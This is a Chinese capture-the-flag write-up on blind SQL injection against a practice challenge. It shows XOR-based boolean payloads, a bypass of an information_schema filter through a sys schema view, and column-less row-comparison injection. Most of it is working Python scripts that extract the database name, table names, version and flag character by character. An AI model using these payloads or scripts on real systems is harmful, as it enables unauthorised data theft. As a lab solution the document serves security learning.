考点
盲注
bypass information_schema
无列名注入
题解
POST 参数 id 存在数字注入，POST id=0^1 返回正常，POST id= 0^0 返回 Error
POST id=0^(ascii(substr((select%20database()),1,1))>0) 返回正常
用脚本可以跑出数据库名
import requests
url = 'http://07fb8bbc-8905-4e86-aa75-150e999cc025.node3.buuoj.cn/index.php'
# 0^1返回 Nu1L
# 0^0返回 Error Occured When Fetch Result
# give_grandpa_pa_pa_pa
def get_database():
flag = ''
for i in range(1, 50):
low = 32
high = 126
mid = (low+high)//2
print(flag)
while low < high:
payload = f"0^(ascii(substr((select database()),{i},1))>{mid})#"
data = {
'id': payload
}
r = requests.post(url=url, data=data)
# print(r.text)
if 'Nu1L' in r.text:
low = mid + 1
if 'Error' in r.text:
high = mid
mid = (low+high)//2
if low == high:
flag = flag + chr(low)
break
过滤了information_schema，可以使用sys.schema_table_statistics_with_buffer获取表名
select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()
脚本如下
# users233333333333333,f1ag_1s_h3r3_hhhhh
def get_table():
flag = ''
for i in range(1, 100):
low = 32
high = 126
mid = (low+high)//2
print(flag)
while low < high:
payload = f"0^(ascii(substr((select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()),{i},1))>{mid})"
data = {
'id': payload
}
r = requests.post(url=url, data=data)
# print(r.text)
if 'Nu1L' in r.text:
low = mid + 1
if 'Error' in r.text:
high = mid
mid = (low+high)//2
if low == high:
flag = flag + chr(low)
break
不难猜flag在 f1ag_1s_h3r3_hhhhh 剩下的就是无列名注入
先判断一下f1ag_1s_h3r3_hhhhh有几列，但是这里过滤了 union select 和 order by
MySQL官方给了一种方法，https://dev.mysql.com/doc/refman/8.0/en/row-subqueries.html
SELECT * FROM users WHERE (1) = (SELECT * FROM flag_123 LIMIT 0,1)
这个语句可以正常返回，其中 users 有 3 列，flag_123 只有 1 列，通过改变 WHERE 子句后的 1 的个数可以判断 flag_123 的列数
SELECT * FROM users WHERE (1,2) = (SELECT * FROM flag_123 LIMIT 0,1) 该语句会返回错误
回到本题，其后端查询语句不难猜到为
SELECT * FROM users WHERE id = 1
结合上面的内容可以改为
SELECT * FROM users WHERE id = 1 ^ ((1)=(select * from f1ag_1s_h3r3_hhhhh)) 如果返回错误说明不只有 1 列
实际上，1 ^ ((1,2)=(select * from f1ag_1s_h3r3_hhhhh)) 是返回正确的，说明 f1ag_1s_h3r3_hhhhh 有两列
SELECT * FROM users WHERE id = 1 ^ (('0',2)<(select * from f1ag_1s_h3r3_hhhhh))
按照理论来说，这个应该返回 Error，实际和理论相同
SELECT * FROM users WHERE id = 1 ^ (('0',2)>(select * from f1ag_1s_h3r3_hhhhh))
按照理论来说，这个应该返回 Nu1L，实际和理论相同
所以可以对这两个位置进行字符串的爆破来查看flag，也可以通过第一个字符进行判断
0 ^ (('g',2)>(select * from f1ag_1s_h3r3_hhhhh)) 返回 Error 说明第一列第一个字符不是以 f 开头
0 ^ ((1,'g')>(select * from f1ag_1s_h3r3_hhhhh)) 返回 Nu1L
0 ^ ((1,'f')>(select * from f1ag_1s_h3r3_hhhhh)) 返回 Error
说明第二列第一个字符以 f 开头
这里有个地方需要注意，在 MySQL 中 SELECT((SELECT 'G')>(SELECT 'f')) 返回 1，但是实际上 G 的ASCII小于 f 的， SELECT((SELECT 'E')>(SELECT 'f')) 返回 0，所以这里在脚本里面进行了设置编码表，并且这里无法判断大小写
import requests
url = 'http://07fb8bbc-8905-4e86-aa75-150e999cc025.node3.buuoj.cn/index.php'
# 0^1返回 Nu1L
# 0^0返回 Error Occured When Fetch Result
# give_grandpa_pa_pa_pa
def get_database():
flag = ''
for i in range(1, 50):
low = 32
high = 126
mid = (low+high)//2
print(flag)
while low < high:
payload = f"0^(ascii(substr((select database()),{i},1))>{mid})"
data = {
'id': payload
}
r = requests.post(url=url, data=data)
# print(r.text)
if 'Nu1L' in r.text:
low = mid + 1
if 'Error' in r.text:
high = mid
mid = (low+high)//2
if low == high:
flag = flag + chr(low)
break
# users233333333333333,f1ag_1s_h3r3_hhhhh
def get_table():
flag = ''
for i in range(1, 100):
low = 32
high = 126
mid = (low+high)//2
print(flag)
while low < high:
payload = f"0^(ascii(substr((select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()),{i},1))>{mid})"
data = {
'id': payload
}
r = requests.post(url=url, data=data)
# print(r.text)
if 'Nu1L' in r.text:
low = mid + 1
if 'Error' in r.text:
high = mid
mid = (low+high)//2
if low == high:
flag = flag + chr(low)
break
def get_version():
flag = ''
for i in range(1, 50):
low = 32
high = 126
mid = (low+high)//2
print(flag)
while low < high:
payload = f"0^(ascii(substr((SELECT VERSION()),{i},1))>{mid})"
data = {
'id': payload
}
r = requests.post(url=url, data=data)
# print(r.text)
if 'Nu1L' in r.text:
low = mid + 1
if 'Error' in r.text:
high = mid
mid = (low+high)//2
if low == high:
flag = flag + chr(low)
break
def get_flag():
table = [',','-','0','1','2','3','4','5','6','7','8','9','_','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','{','}']
flag = ''
for i in range(1, 100):
low = 0
high = 41
mid = (low+high)//2
print(flag)
while low < high:
single_char = table[mid]
tmp = flag + single_char
payload = f"0 ^ ((1,'{tmp}')>(select * from f1ag_1s_h3r3_hhhhh))"
data = {
'id': payload
}
r = requests.post(url=url, data=data)
# print(r.text)
if 'Error' in r.text:
low = mid + 1
if 'Nu1L' in r.text:
high = mid
mid = (low+high)//2
if low == high:
flag = flag + table[mid-1]
break
get_flag()